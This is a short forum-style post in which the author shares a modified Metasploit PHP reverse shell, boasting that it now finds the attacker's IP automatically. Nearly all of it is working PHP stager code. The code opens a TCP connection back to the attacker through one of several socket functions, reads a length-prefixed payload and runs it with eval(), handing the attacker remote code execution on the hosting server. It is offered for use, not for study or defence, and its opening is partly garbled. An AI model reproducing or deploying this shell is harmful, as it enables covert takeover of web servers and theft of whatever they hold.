Guyzzz I have edited the PHP reverse shell which generated by Metasploit. I have added feature to find IP Address of attacker automatically. Now it is awesome in working because we don't want change the IP Address in PHP script, if your IP Address is dynamic.
<--TOF REVERSE SHELL TOF-->
'.php_uname().'
Server IP: '.$server_ip.'
Your IP: '.$my_ip.'
Ajith Kp
'; echo '
RESULT
'; error_reporting(0); # The payload handler overwrites this with the correct LHOST before sending # it to the victim. if (FALSE !== strpos($ip, ":")) { # ipv6 requires brackets around the address $ip = "[". $ip ."]"; $ipf = AF_INET6; } if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } elseif (($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } elseif (($f = 'socket_create') && is_callable($f)) { $s = $f($ipf, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } else { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { # We failed on the main socket. There's no way to continue, so # bail die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } # Set up the socket for the main stage to use. $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; eval($b); die(); echo '